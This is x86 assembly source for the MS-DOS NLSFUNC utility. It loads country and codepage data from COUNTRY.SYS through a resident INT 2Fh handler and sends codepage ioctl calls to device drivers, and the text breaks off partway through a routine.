PUSHALL macro reg1,reg2,reg3 ;used to save all
push reg1 ;registers needed
push reg2 ;for DOS interactions
push reg3
endm
POPALL macro reg1,reg2,reg3 ;used to restore all
pop reg3 ;for DOS interactions
pop reg2
pop reg1
endm
;SHOWERR macro msg,len_msg
; mov ah,40h
; mov bx,2
; lea dx,msg ;displays error msgs
; mov cx,len_msg
; int 21h
; endm
EXTRN SYSPARSE:NEAR
subttl NLSFUNC data
page
NLS_DATA SEGMENT byte PUBLIC 'DATA'
;Copyright 1988 Microsoft
;***************************** MSG DATA ************************************
UTILITY db "NLSFUNC",0 ;AC000;
;***************************** MSG DATA ************************************
.xlist
include copyrigh.inc ;AN000;
include struc.inc
include DOESMAC.INC
include MULT.INC
include sf.inc ;AN001;
include DOSCNTRY.INC
include DEVSYM.INC
include SYSMSG.INC ;AN000;
include FUNCDBCS.INC ;AN000;
include MSG2NLS.INC
include FUNCPARM.INC ;AN000;
include version.inc ; MSKK02 07/18/89
MSG_UTILNAME <NLSFUNC> ;AN000;
.list
MSG_OPTIONS_FIRST equ 300 ; first options message line
MSG_OPTIONS_LAST equ 302 ; last options message line
MULT_NLSFUNC equ 14h
INSTALLED equ 0ffh
; nlsfunc function codes
CHG_CODEPAGE equ 1
GET_EXT_CTY_INFO equ 2
SET_CODEPAGE equ 3
GET_CTY_INFO equ 4
INVALID_FUNCTION equ 1 ;=J
INVALID_DATA equ 13 ;=L
;FILE_NOT_FOUND equ 2 ;=J(=L no longer explicitly used)
;TAB equ 9
;CR equ 13
PAD_CHAR equ ' ' ;AN000;
BAD_INVOKE equ 65 ;=E
UPCASE_A equ 'A'
BUFFSIZE equ 512 ; ;AC000;REDUCTION OF ORIGINAL (128 BYTES) TO STORE
LOCATE_INFOTYPE equ 18 ;THE DEVICE LIST & THE OLD COUNTRY INFO
CTL_BUFF equ 256 ; ;AC000;
ID_TAG equ 8
DATA_BUFF_LENG equ (BUFFSIZE - CTL_BUFF)
MAXBUFF_FIT equ (BUFFSIZE - (CTL_BUFF + ID_TAG))
DATA_N_ID equ (CTL_BUFF + ID_TAG)
SETCTY_LENG equ 38
;SPACE equ ' '
BACKSLASH equ '\'
PERIOD equ '.'
;COLON equ ':'
;
;**************** NEW VARIABLE ****************
subttl NLSFUNC data
page
IN_DEX equ bp ;AN000;
FILESPEC_PTR equ byte ptr ds:[in_dex] ;AN000;
FILEVAL equ 0100h ;convert data block after checking for the
;AN000;
;drive only to look for the filespec
CL_NUM equ 81h ;command line at the PSP
;AN000;
;**************** NEW VARIABLE ****************
;interrupts
SET_INT equ 25h
GET_INT equ 35h
;
;dos call backs
;dosopen equ 38
;dosclose equ 39
;lseek equ 40
;dosread equ 41
;
;NO_ERRORS equ 0FFh
;variable definition area
;initialization area
MSG_SERVICES <MSGDATA>
; Replace a bunch of bytes that are storing one byte (0 or 1) for one
; byte where I control each bit.
ID_CHECK_F equ 00000001b
GET_EXT_F equ 00000010b
GOOD_PAR_F equ 00000100b
PARSE_ERR_F equ 00001000b
EXIT_STAY_F equ 00010000b
NO_PARMS_F equ 00100000b
GOOD_PATH_F equ 01000000b
OPTIONS_SENT_F equ 10000000b
INFO_FLAG db ID_CHECK_F ;Only ID_CHECK_F set, the rest 0
;ID_CHECK db 1 ;resident variable re-initialize
ALL_DONE db 0 ;resident variable re-initialize
;GET_EXT db 0 ;resident variable re-initialize
INFO_ID db 0 ;resident variable re-initialize
DONT_CLOSE db 0 ;if open or close error,this is set
RES_PARASIZE dw 0 ;adjusted size for terminate & stay func.
ERROR_CODE db 0 ;contains extended error code val
FUNC_CODE db 0 ;save function number
;GOOD_PAR db 0
;PARSE_ERR db 0
SI_DOSLOCATE dw 0
DS_DOSLOCATE dw 0
SAVEDX dw 0 ;=FC file offset
SAVECX dw 0 ;=FC
NOFFSET dw 2 ;=FC
CSIZE dw 0
CCODE dw 0
CPAGE dw 0
;VALID_FUNC db 0 ;Flag to check for valid function #
;EXIT_STAY db 0
FILENAME db "COUNTRY.SYS",0
PATH_SPEC db 64 dup(0) ;used to build path parameter
USER_PATH db 0 ;=I
PAR_RETC dw 0
;NO_PARMS db 0
;GOOD_PATH db 0
;OPTIONS_SENT db 0 ; non-zero if options msg displayed
PATHSEG DW 0
SW_SPEC dW 0
;LENGTH_HOLD db 0 ;dead code
;***CNS
CUR_PTR DW 0 ;AN003;; keeps track of parameter position ;AN000
OLD_PTR DW 0 ;AN003;; keeps track of parameter position ;AN000
;***CNS
;********************************************************************************
NLS_BUFFER db BUFFSIZE dup (?) ;NLS BUFFER to transfer data
DATASIZE equ $-NLS_DATA
NLS_DATA ENDS
NLS_INIT_CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:NLS_INIT_CODE,DS:NOTHING,ES:NOTHING,SS:NOTHING
INT_2f_NEXT DD ? ;Chain location.
subttl resident code
page
;**************************** resident portion ********************************
NLSRES_CODE PROC NEAR
cmp ah,MULT_NLSFUNC ;Check the mutliplex value
je IS_NLSFUNC ;the # is mine
jmp dword ptr INT_2F_NEXT ;Chain to* the next handler
IS_NLSFUNC:
cmp al,0f8h ;Make sure AL does not have reserved
;DOS value 0F8 - 0FFH
jb SEL_FUNC ;Select the function code between 0,
;1,2,3,4
iret ;return on reserved functions
SEL_FUNC:
push es ;=C
push ds ;save the user's data segment
push si
push ds
push ax ;save the function value
mov ax,NLS_DATA ;so it won't be hosed
mov ds,ax ;set the data segment to mine
ASSUME DS:NLS_DATA
pop ax
pop DS_DOSLOCATE
pop SI_DOSLOCATE
mov INFO_FLAG,ID_CHECK_F ;re-initalize flags
mov ALL_DONE,0 ;from resident portion
mov DONT_CLOSE,0 ;no open or close error yet
pushall bx,cx,dx ;save all DOS registers
pushall bp,si,di ;save all DOS registers
; *************************** CNS **********************************************
sti ;;AN000;the interrupt for external devices
;AN000;
; *************************** CNS **********************************************
mov FUNC_CODE,al ;save function #
; or al,al
; jnz FUNCODE_DOSTATE ;state is not 0
dec al ;Tell DOS I am installed (dec 0 = ff)
js RES_EXIT ;state is 0
; jmp short RES_EXIT ;exit
FUNCODE_DOSTATE:
; dec al ;cmp al,CHG_CODEPAGE
jz FUNCODE3_1 ;je FUNCODE3_1
dec al ;cmp al,GET_EXT_CTY_INFO
jz FUNCODE2 ;je FUNCODE2
dec al ;cmp al,SET_CODEPAGE
jz FUNCODE3_1 ;je FUNCODE3_1
; If al >= 4 then do 4
FUNCODE4: ;Get Country Data - old 38 call =F
mov bp,1 ;set info_id to 1 =F
; jmp short FUNCODE2 ; =F
FUNCODE2: ;Get Extended Country Information
mov ax,bp ;information requested by the user
mov INFO_ID,al
or INFO_FLAG,GET_EXT_F ;get extended cty into user buffer
call RES_MAIN
jc ERROR_ROUTINE
jmp short CLOSE_FILE ;=E
FUNCODE3_1: ;Set Codepage/Get Country Information =E
les di,dword ptr SI_DOSLOCATE
; cmp es:[di].ccDosCodePage,bx ;=E
; jne fc3_1_10 ;=E
; cmp es:[di].ccDosCountry,dx ;=E
; jne fc3_1_10 ;=E
; mov CPAGE,bx ;get the codepage value =E
; jmp short fc3_1_20 ;=E
;
;fc3_1_10:
call RES_MAIN
jc ERROR_ROUTINE
CallInstall Dosclose,multdos,39,<ax,bx,cx,dx,ds,es>,<es,ds,dx,cx,bx,ax> ;close the file
jc NO_CLOSE
fc3_1_20:
cmp FUNC_CODE,1 ;=E
je FUNCODE1 ;=E
mov al,ALL_DONE ;=E
jmp short RES_EXIT ;=E
FUNCODE1: ;CHCP - Change Code Page =E
call WALK_DEVICES ;=E
mov al,ALL_DONE ;=E
jmp short RES_EXIT ;=E
NO_CLOSE:
mov ALL_DONE,al ;=J
inc DONT_CLOSE
;if an error was detected
ERROR_ROUTINE:
mov al,ALL_DONE
cmp DONT_CLOSE,1
je RES_EXIT
; jmp CLOSE_FILE
CLOSE_FILE: ;DOS 3eh function close COUNTRY.SYS
mov al,ALL_DONE
CallInstall Dosclose,multdos,39,<ax,bx,cx,dx,ds,es>,<es,ds,dx,cx,bx,ax> ;close the file
jc NO_CLOSE
;clear to let DOS know ok
RES_EXIT:
popall bp,si,di ;restore all DOS registers
popall bx,cx,dx ;restore all DOS registers
cmp FUNC_CODE,GET_EXT_CTY_INFO ; =K
jne NC_IRET ; =K
or al,al ;if successful 65 call, put size =K
jnz NC_IRET ;of info returned in CX =K
mov cx,CSIZE ; =K
NC_IRET: ; =K
pop ds ;restore user's data segment =K moved
pop es ;=C =K moved
iret ;Return to DOS
NLSRES_CODE ENDP
;*******************************END OF NLSRES_CODE******************************
subttl resident main routine
page
;*******************************RES_MAIN****************************************
RES_MAIN PROC NEAR
; mov VALID_FUNC,1 ;function exist ; dead code?
mov CPAGE,bx ;get the codepage value
mov CCODE,dx ;get the country code
mov CSIZE,cx ;size of the buffer
; call CHK_OPEN ;go open file if possible
; instead of calling the procedure, I include the procedure here
; Begining of procedure CHK_OPEN
xor cx,cx ;zero cx for open
cmp USER_PATH,1 ;either user supplied=I
je co_user ;or default DOS
co_dos: push ds ;save current ds value
push si ;save current si value
lds si,dword ptr SI_DOSLOCATE ;old dos ds si value
lea dx,ds:[si].ccPATH_COUNTRYSYS
CallInstall Dosopen,Multdos,38,<BX,DS,ES,SI,DI>,<DI,SI,ES,DS,BX>
pop si ;restore current si
pop ds ;restore current ds
jmp short co_10
co_user: lea dx,PATH_SPEC
CallInstall Dosopen,Multdos,38,<BX,DS,ES,SI,DI>,<DI,SI,ES,DS,BX>
co_10: jc BADREP_FILE ;bx contains the
mov bx,ax ;file handle
jmp short END_OPEN
BADREP_FILE:
mov ALL_DONE,al ;=J
inc DONT_CLOSE
END_OPEN:
; End of procedure CHK_OPEN
jc END_RES ;scan and read country info
mov ax,CCODE
mov dx,CPAGE
mov si,offset NLS_BUFFER
call Trans_Cty_Data
;into my buffer & the dos buffer
END_RES:
ret
RES_MAIN ENDP
;*******************************END RES_MAIN************************************
subttl check open procedure
page
;******************************CHECK OPEN PROCEDURE****************************
;CHK_OPEN PROC NEAR
;
;
; xor cx,cx ;zero cx for open
; cmp USER_PATH,1 ;either user supplied=I
; je co_user ;or default DOS
;
;co_dos: push ds ;save current ds value
; push si ;save current si value
; lds si,dword ptr SI_DOSLOCATE ;old dos ds si value
; lea dx,ds:[si].ccPATH_COUNTRYSYS
; CallInstall Dosopen,Multdos,38,<BX,DS,ES,SI,DI>,<DI,SI,ES,DS,BX>
; pop si ;restore current si
; pop ds ;restore current ds
; jmp short co_10
;
;co_user: lea dx,PATH_SPEC
; CallInstall Dosopen,Multdos,38,<BX,DS,ES,SI,DI>,<DI,SI,ES,DS,BX>
;
;co_10: jc BADREP_FILE ;bx contains the
; mov bx,ax ;file handle
; jmp short END_OPEN
;
;BADREP_FILE:
; mov ALL_DONE,al ;=J
; inc DONT_CLOSE
;
;END_OPEN:
; ret
;
; CHK_OPEN ENDP
;******************************END OF CHKOPEN**********************************
subttl transfer country data
page
;******************************TRANS_CTY__DATA ********************************
TRANS_CTY_DATA PROC NEAR
TRANSTART:
push di ;save start of CTY/CP INFO
;get the size of the file
xor cx,cx ;clear cx to start at
xor dx,dx ;at the beginning of the
;file
call READ_CTLBUFF ;Read in the file header
jnc CHK_INFOTYPE
jmp END_TRANS ;=G
CHK_INFOTYPE:
add si,LOCATE_INFOTYPE ;si > Country info type
cmp byte ptr ds:[si],1 ;only 1 type exist currently
je GET_INFOIDS
jmp BAD_FILE
GET_INFOIDS:
inc si ;si > set to file offset
mov dx,word ptr ds:[si] ;Get the Info file offset
mov cx,word ptr ds:[si+2] ;Doubleword
mov SAVEDX,dx ;=FC save offset
mov SAVECX,cx ;=FC for more than 1 buffer
mov NOFFSET,2 ;=FC start from beginning
call READ_CTLBUFF ;Read Info
jc Bridge_END_TRANS
; jmp END_TRANS ;=G
COUNT_ENTRIES:
mov cx,word ptr ds:[si] ;Get count of entries
;in info
inc si ;next word
inc si ;si > Entry info packet
FIND_CTY: ;Search for CTY/CP combo
mov ax,word ptr ds:[si] ;=FC get size of entry
inc ax ;=FC include length filed
inc ax
add NOFFSET,ax ;=FC look ahead
cmp NOFFSET,CTL_BUFF-4 ;=FC < (256 - 4)
jb IN_BUFF ;=FC
sub NOFFSET,ax ;=FC restore to old offset
push cx ;=FC save number of cntries
mov cx,SAVECX ;=FC get file offset
mov dx,SAVEDX ;=FC
add dx,NOFFSET ;=FC update to the entry
adc cx,0 ;=FC beginning
mov SAVECX,cx ;=FC save them for next use
mov SAVEDX,dx ;=FC
call READ_CTLBUFF ;=FC read next buffer in
jc READERROR ;=FC read error occurs
pop cx ;=FC restore number of cntries
mov NOFFSET,0 ;=FC a new beginning
IN_BUFF:
mov dx,CPAGE
mov ax,CCODE
cmp ax,word ptr ds:[si+2] ;compare country id
jne NEXT_CTY
cmp dx, word ptr ds:[si+4] ;compare code page id
je FOUND_CTY
or dx,dx ;=FC if default pick the
jz FOUND_CTY2 ;=FC 1st country
NEXT_CTY:
add si, word ptr ds:[si] ;next entry
inc si
inc si ;take a word for size of entry itself
loop FIND_CTY
mov ALL_DONE,INVALID_DATA ;if it exits the loop =J =L
jmp FINDCTY_FAIL ;then no cp/cty match
READERROR: pop cx ;=FC
Bridge_END_TRANS:
jmp END_TRANS ;=FC
FOUND_CTY2: mov dx,word ptr ds:[si+4] ;=FC from now on,this is
mov CPAGE,dx ;=FC the code page
FOUND_CTY: ;found the matching entry
mov dx, word ptr ds:[si+10] ;get the file offset of country data
mov cx, word ptr ds:[si+12]
call READ_CTLBUFF
jc Bridge_END_TRANS
; jmp END_TRANS ;=G
NUM_ENTRY:
mov cx, word ptr ds:[si] ;get the number of entries to handle.
inc si
inc si ;SI -> first entry
SETDOSCTY_DATA:
.REPEAT
push di ;ES:DI -> DOS_COUNTRY_CDPG_INFO
push si ;si -> current entry in Control buffer
push cx ;save # of entry left
mov al, byte ptr ds:[si+2] ;get data entry id
xor ah,ah ;clear out for comparison with
;info-id in case id is > 256
test INFO_FLAG,GET_EXT_F ;check to see if function 2
;get_extended info was needed
jz TRANSALL ;if not assume function code 1
;set codepage
cmp INFO_ID,-1 ;Minus 1 means return all of the
jne CHK_ID ;country info to the user
;otherwise get the specific
;info id and return only that info
pop cx ;error can not return all
pop si ;info accept for currently
pop di ;loaded control info in DOS
jmp BAD_SETID ;area
CHK_ID: cmp al,INFO_ID ;check to see if the selected
;id is the same as the id in the
;ctrl buffer area
jne SETDOSCTY_NEXT ;if not equal go search for the
;next information id
pop cx ;Bingo!! Found it set counter
mov cx,1 ;to zero to exit loop
push cx
and INFO_FLAG,NOT ID_CHECK_F ;Turn bit off. found a valid id
test INFO_FLAG,GET_EXT_F ;after transferring data to USER
jnz GET_ADDR ;area
;set cx image in stack to force
;exit loop
TRANSALL:
call GetDOSCTY_Dest ;get the address of destination in ES:DI
jc SetDOSCTY_NEXT ;No matching data entry id in DOS
GET_ADDR:
mov dx, word ptr ds:[si+4] ;get offset of data
mov cx, word ptr ds:[si+6]
SEEK_READ:
push ax ;=A save data id.
xor bp,bp ;DOS 4200h function
CallInstall Lseek,multdos,40,<bx,cx,ds,es,di,si>,<si,di,es,ds,cx,bx> ;move ptr
pop ax ;=A
jc DATASEEKNREAD
;when ptr moved
mov dx,offset NLS_BUFFER +CTL_BUFF ;set the buffer to the beginning of the
;data buffer area
mov cx,DATA_BUFF_LENG ;set to number of bytes in the
;data buffer area
push ax ;=A
;DOS 3fh
CallInstall Dosread,Multdos,41,<bx,cx,ds,es,di,si>,<si,di,es,ds,cx,bx> ;Read cx many bytes into the buffer
pop ax ;=A
jc DATASEEKNREAD
IS_EXTENDED:
test INFO_FLAG,GET_EXT_F
jz CHK_OVERWRITE
call GETEXT_CTY
jmp short SETDOSCTY_NEXT
CHK_OVERWRITE: ;=A
; If SetCountryInfo, then
; put DOS monocase routine
; entry point into
; NLS_BUFFER so don't
; write over. =A
; MSKK02 07/18/89
call SetDBCS_before_clear ; check DBCS vector set
cmp al,SetCountryInfo ;=A
jne DOS_MOVE ;=A
mov ax,word ptr es:[di+24] ;=A
mov word ptr ds:[NLS_BUFFER+CTL_BUFF + 32],ax ;=A
mov ax,word ptr es:[di+26] ;=A
mov word ptr ds:[NLS_BUFFER+CTL_BUFF + 34],ax ;=A
mov ax,CPAGE ;=FC, CPAGE is right
mov word ptr ds:[NLS_BUFFER+CTL_BUFF + 12],ax ;=FC
DOS_MOVE:
call CHK_ADJUST ;now check to see if the entire
;table fits
SETDOSCTY_NEXT:
pop cx
pop si
pop di
add si, word ptr ds:[si]
inc si
inc si
dec cx
.UNTIL <cx eq 0> NEAR ;loop SETDOSCTY_DATA
;Check for an invalid id
test INFO_FLAG,GET_EXT_F ;Check to see if a get_ext func 2 was issued
jz CTLSEEKnREAD ;if not move on
test INFO_FLAG,ID_CHECK_F ;if so check to see if an id was found
jnz BAD_SETID ;if none was found report an error
;otherwise continue
CTLSEEKnREAD:
clc ;=G
jmp short END_TRANS ;exit
DATASEEKnREAD:
mov ALL_DONE,al ;=J
pop cx
pop si
pop di
jmp short END_TRANS
BAD_SETID:
; mov ALL_DONE,INVALID_FUNCTION ;=J
; jmp short FINDCTY_FAIL ;=J
BAD_FILE:
mov ALL_DONE,INVALID_FUNCTION ;=J
FINDCTY_FAIL:
stc
END_TRANS:
pop di ;Restore header start
ret
TRANS_CTY_DATA ENDP
; MSKK02 07/18/89
SetDBCS_before_clear:
cmp al,SetDBCS ; DBCS vector set?
jnz @F ; jump if not
cmp word ptr es:[di], 0 ; zero byte data block?
jz @F ; jump if so
push di ;
push ax ;
push cx ;
mov cx,es:[di] ; load block length
add di,2 ; points actual data
xor al,al ; fill bytes
rep stosb ; clear data block
pop cx ;
pop ax ;
pop di ;
@@:
ret ;
;******************************END TRANS_CTY_DATA ******************************
subttl get DOS country destination
page
;****************************GETCTY_DEST***********************************************
GetDOSCty_Dest proc near
;Get the destination address in the DOS country info table.
;Input: AL - Data ID
; ES:DI -> DOS_COUNTRY_CDPG_INFO
;On return:
; ES:DI -> Destination address of the matching data id
; carry set if no matching data id found in DOS.
push cx
add di, ccNumber_of_entries ;skip the reserved area, syscodepage etc.
mov cx, word ptr es:[di] ;get the number of entries
inc di
inc di ;SI -> the first start entry id
GetCntryDest:
cmp byte ptr es:[di], al
je GetCntryDest_OK
cmp byte ptr es:[di], SetCountryInfo ;was it SetCountryInfo entry?
je GetCntryDest_1
add di, 5 ;next data id
jmp short GetCntryDest_loop
GetCntryDest_1:
add di, NEW_COUNTRY_SIZE + 1 ;next data id
GetCntryDest_loop:
loop GetCntryDest
stc
jmp short GetCntryDest_exit
GetCntryDest_OK:
cmp al, SetCountryInfo ;select country info?
jne GetCntryDest_OK1
inc di ;now DI -> ccCountryInfoLen
clc ;clear the carry
jmp short GetCntryDest_exit
GetCntryDest_OK1:
les di, dword ptr es:[di+1] ;get the destination in ES:DI
clc
GetCntryDest_Exit:
pop cx
ret
GetDOSCty_Dest endp
;****************************GETDOSCTY_DEST*************************************
subttl get extended country data
page
;****************************GETEXT_CTY*****************************************
GETEXT_CTY proc
JUSTONE_ID:
mov ah,func_code ;=F
cmp ah,GET_CTY_INFO ;=F
je id_ctyinfo1 ;=F
mov al,INFO_ID
mov byte ptr es:[di],al
cmp INFO_ID,SetCountryInfo ;SETCTY_INFO =D moved.
je ID_CTYINFO ;=D don't want ptr if 1.
mov word ptr es:[di+1],offset nls_buffer + ctl_buff+8 ;=H
mov word ptr es:[di+3],ds ;my current ds value
mov CSIZE,5 ;=K
jmp short GET_EXT_END
ID_CTYINFO:
inc di ;=D (old code - add di,5) =F(moved).
id_ctyinfo1: ;=F
mov cx,CSIZE
;next line used to be "add si,5"
;si needs to point to cty info. =D
mov si,offset nls_buffer + ctl_buff + 8 ;=D
push es ;=A put DOS Monocase Routine
push di ;=A entry point in user buffer.
push ax ;=A
les di,dword ptr si_doslocate ;=A
mov ax,word ptr es:[di].ccMono_Ptr ;=A
mov word ptr ds:[si+24],ax ;=A
mov ax,word ptr es:[di].ccMono_Ptr+2 ;=A
mov word ptr ds:[si+26],ax ;=A
mov ax,CPAGE ;=FC trust CPAGE
mov word ptr ds:[si+4],ax ;=FC
pop ax ;=A
pop di ;=A
pop es ;=A
push bx ;=F
cmp ah,GET_CTY_INFO ;=F if get cty info(38) slide info
jne id_ctyinfo2 ;=F ptr up to date.
add si,6 ;=F
mov cx,old_country_size ;=FC
jmp short MOVE_CTY ;=FC
id_ctyinfo2: mov bx,word ptr ds:[si] ;=FC get table size
sub CSIZE,3 ;=FC size begins after length field
mov cx,CSIZE ;=FC
cmp cx,bx ;=D was cmped to SETCTR_LENG
ja TRUNC_SIZE ;=FC used to be jg
jmp short MOV_SIZE
TRUNC_SIZE:
mov cx,bx ;=F
MOV_SIZE:
mov es:[di],cx ;=FC move actual length to user's buff
inc di ;=FC update index
inc di
inc si ;=FC skip length field
inc si
MOVE_CTY: pop bx ;=F
mov CSIZE,cx ;=K
add CSIZE,3 ;=K
rep movsb
GET_EXT_END:
ret
GETEXT_CTY endp
;*****************************END GETEXT_CTY*************************************
subttl read into control buffer
page
;**************************READ_CTLBUFF*****************************************
;
READ_CTLBUFF proc near
;Move file pointer to CX:DX
;Read 64 bytes into the control buffer. Assume that the necessary data
;is within that limit.
;SI will be set to beginning of the offset my NLS_BUFFER hence DS:SI points to the control buffer.
;Entry: CX,DX offset from the start of the file where the read/write pointer
; be moved.
; BX - file handle
; DS - buffer seg.
;Return: The control data information is read into DS:0 - DS:0200.
; CX,DX value destroyed.
; Carry set if error in Reading file.
;
;Function 4200h
xor bp,bp
CallInstall Lseek,multdos,40,<bx,cx,ds,es,di,si>,<si,di,es,ds,cx,bx> ;move pointer
jc NO_SEEK1
mov dx,offset NLS_BUFFER ;ds:dx -> control buffer
mov si,dx ;index for the entire buffer
;read into the buffer function 3fh
mov cx, CTL_BUFF ;XXX bytes. Size of the information
CallInstall Dosread,multdos,41,<bx,cx,dx,ds,es,di,si>,<si,di,es,ds,dx,cx,bx> ;should be less than XXX bytes.
jc NO_READ1
jmp short RICB_exit
NO_SEEK1:
; mov ALL_DONE,al ;=J
; jmp short RICB_exit
NO_READ1:
mov ALL_DONE,al ;=J
RICB_exit: ;In this case 64 bytes
ret
READ_CTLBUFF endp
;****************************END READ_CTLBUFF***********************************
subttl check / adjust / move data into DOS buffer
page
;****************************CHK_ADJUST*****************************************
CHK_ADJUST PROC NEAR
push ax ;save info id
mov si,offset NLS_BUFFER+DATA_N_ID ;start of buffer + tag id
mov cx, word ptr ds:[si] ;get the length of the structure
inc cx
inc cx
cmp cx,MAXBUFF_FIT
jbe MOVE_DATA
push cx
mov cx,MAXBUFF_FIT
rep movsb
pop cx
sub cx,MAXBUFF_FIT
NEED_ADJUST:
mov dx,offset NLS_BUFFER+CTL_BUFF ;reset to the beginning of the data buffer
mov si,dx ;reset to the beginning of the data buffer
cmp cx,DATA_BUFF_LENG ;check to see if it fits for the nth read
jbe LAST_READ ;last portion fits
push cx ;save how much is left to read
mov cx,DATA_BUFF_LENG ;set to how much you read at one time
;read again ;function 3fh
;read into the data buffer
CallInstall Dosread,multdos,41,<bx,cx,dx,ds,es,di,si>,<si,di,es,ds,dx,cx,bx> ;save the file handle
jc ADJUST_END
rep movsb ;move data into DOS area
pop cx ;restore size remaining to
sub cx,DATA_BUFF_LENG ;be read get new size
jmp NEED_ADJUST ;must read agian
LAST_READ:
;one more read 3f
CallInstall Dosread,multdos,41,<bx,cx,dx,ds,es,di,si>,<si,di,es,ds,dx,cx,bx>
jc ADJUST_END
MOVE_DATA:
rep movsb ;move data into DOS area
ADJUST_END:
pop ax
ret
CHK_ADJUST ENDP
;*******************************END CHK_ADJUST *********************************
subttl walk through device drivers and invoke
page
;************************ WALK DEVICE DRIVERS **********************************
;=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=E=
WALK_DEVICES PROC NEAR
mov si,offset NLS_BUFFER ;Prepare to hold device name
push es ;AN001; Clear out NLS_BUFFER to 0
push ds ;AN001;
pop es ;AN001;
mov di, si ;AN001; ES:DI-> NLS_BUFFER
xor ax, ax ;AN001; AX=0
mov cx, BUFFSIZE ;AN001;
shr cx, 1 ;AN001; /2 to make a # of words
rep stosw ;AN001;
pop es ;AN001; Restore es
;Get ptr to hdr of 1st device.
push si ;AN001;
CallInstall GetDevLst,Multdos,44,<DS>,<DS>
pop si ;AN001;
mov es,bx ;bx:ax -> hdr.
mov di,ax
char_test:
test es:[di].sdevatt,devtyp ;check attribute word for
je BR_GET_NEXT_DEVICE
; jmp GET_NEXT_DEVICE ;character device.
OPEN_DEVICE:
push si
push di ;set up asciiz filename
add di,10 ;for DOS file open
mov cx,8
set_asciiz: mov al,es:[di]
cmp al,20h
je done_set_asciiz
mov ds:[si],al
inc di
inc si
loop set_asciiz
done_set_asciiz:xor al,al
mov ds:[si],al
pop di
pop si
mov cx,1 ;open for write
mov dx,si
CallInstall Dosopen,Multdos,38,<DS,SI,ES,DI>,<DI,ES,SI,DS>
jnc end_open_device
BR_GET_NEXT_DEVICE:
jmp GET_NEXT_DEVICE ; ignore this =FC
end_open_device:
mov bx,ax ;put handle in bx
call Chk_Revisit ;AN001; Have been here already?
jc BR_CLOSE_DEVICE ;AN001; No, a new one.
; jmp short CLOSE_DEVICE ;AN001; Yes. Close and ignore this.
INVOKE_DEVICE:
push ds ;Check print queue first.
push si ;Set up for 2f print call.
clc
mov ax,0106h ;2f call to command.com.
int 2fh ;If print active: carry set,
jnc invoke_it ;DS:SI -> hdr of printing device.
cmp si,di ;Check if printing device is this
jne invoke_it ;device. Match on ptr to device.
mov ax,ds
mov cx,es
cmp ax,cx
jne invoke_it
pop si
pop ds
mov ALL_DONE,BAD_INVOKE ;Match. Set invoke error.
BR_CLOSE_DEVICE:
jmp short CLOSE_DEVICE
invoke_it: pop si ;save the current
pop ds ;environment
;*************** CNS *********** Start of DBCS Support
; PUSH DS ;ICE
; push bx ;ICE
; push ax ;ICE
; mov bx,0140H ;ICE
; xor ax,ax ;ICE
; mov ds,ax ;ICE
; mov ax,word ptr ds:[bx] ;ICE
; mov word ptr ds:[bx],ax ;ICE
; POP ax ;ICE
; pop bx ;ICE
; pop ds ;ICE
push di
push bx
push cx
push es
les di,dword ptr SI_DOSLOCATE ;get the environmental
;*************** CNS ******************
; mov bx,es:[di].ccDBCS_ptr ;values to allow
; mov es,es:[di].ccDBCS_ptr+2 ;recognition and
;*************** CNS ******************
les bx,es:[di].ccDBCS_ptr
mov cx,es:[bx] ;invocation of data
inc cx
inc cx
inc bx ;and ID for start
inc bx
mov di,offset pk.DBCS_EV ;and stop values for
;otherwise it is a DBCS
;****CHANGE ;or custom designed codepage
mov PK.PACKLEN,cx ;if packet length is zero
NODBCS_CP:
add cx,-2 ;AN002; reset counter before CP addition
;****CHANGE
DB_EVECS:
or cx,cx ;AN002;no need to alter packet
jz NO_LOAD ;An002;initialized to zero
.REPEAT ;;AN000;DBCS transmission
;AN000;
mov al,es:[bx] ;;AN000;get the the contents
;***CNS ;AN000;
mov ds:[di],al ;;AN002;of where the DBCS Points
;***CNS ;AN000;
inc di ;;AN000;data packet for ioctl
;AN000;
inc bx ;AN000;;call--- get the start
;stop values to load
;AN000;
dec cx ;AN000;
.UNTIL <CX EQ 0 > ;AN000;
;invocation of 1 codepage
;standard codepage selection
NO_LOAD:
pop es ;AN000;;accordingly & restore
;AN000;
pop cx ;AN000;;values
;AN000;
pop bx ;AN000;
;AN000;
pop di ;AN000;
;AN000;;invoke codepage
;************************ CNS*** End of DBCS
;Set up data packet for generic
mov ax,cpage ;ioctl call.
mov pk.packcpid,ax
lea dx,pk
mov cx,004ah
mov bp,0ch ;generic ioctl
CallInstall IOCTL,multdos,43,<DS,SI,ES,DI,BX>,<BX,DI,ES,SI,DS>
jc device_error
CLOSE_DEVICE:
CallInstall Dosclose,multdos,39,<DS,SI,ES,DI>,<DI,ES,SI,DS>
jc dev_open_close_error ; ignore this =FC
GET_NEXT_DEVICE:
cmp word ptr es:[di],0FFFFH
je END_WALK_DEVICES
les di,dword ptr es:[di]
jmp char_test
DEVICE_ERROR:
cmp ax,1
je CLOSE_DEVICE
CallInstall GetExtErr,multdos,45,<DS,SI,ES,DI,BX>,<BX,DI,ES,SI,DS>
cmp ax,22
je CLOSE_DEVICE
mov ALL_DONE,BAD_INVOKE
jmp CLOSE_DEVICE
dev_open_close_error:
mov ALL_DONE,BAD_INVOKE
jmp GET_NEXT_DEVICE
END_WALK_DEVICES:
ret
WALK_DEVICES endp
;*********************** END WALK DEVICE DRIVERS *******************************
;************************ Chk_Revisit******************************************
;This routine will check if we are opening the same device driver again.
;If it is, then carry bit will set.
;This routine will use the NLS_BUFFER to keep the history of already
;visited device driver address (OFFSET,SEGMENT). NLS_BUFFER will be
;used from the end of the buffer towards to the front of the buffer.
;For 512 byte length and considering the front part used for OPEN device
;driver name string, this will handle appr. 126 devices maximum. which is
;sufficient enough. - J.K. 1/15/88
;IN: BX = file handle
; DS = NLS_BUFFER segment
;OUT: carry set = visited
; carry not set = new one.
; Other registers saved.
Chk_Revisit proc near
push ax ;AN001;
push bx ;AN001;
push es ;AN001;
push di ;AN001;
mov ax, 1220h ;AN001; Get the spot of SFT
int 2fh ;AN001;
jc Chk_Rvst_Ret ;AN001; This won't happen
xor bx, bx ;AN001;
mov bl, byte ptr es:[di] ;AN001;
mov ax, 1216h ;AN001; Get the SFT pointer
int 2fh ;AN001; es:di-> SFT table
jc Chk_Rvst_Ret ;AN001; This won't happen
mov ax, word ptr es:[di].SF_DEVPTR ;AN001; offset of device
mov bx, word ptr es:[di].SF_DEVPTR+2;AN001; Segment of device
mov di, offset NLS_BUFFER ;AN001;
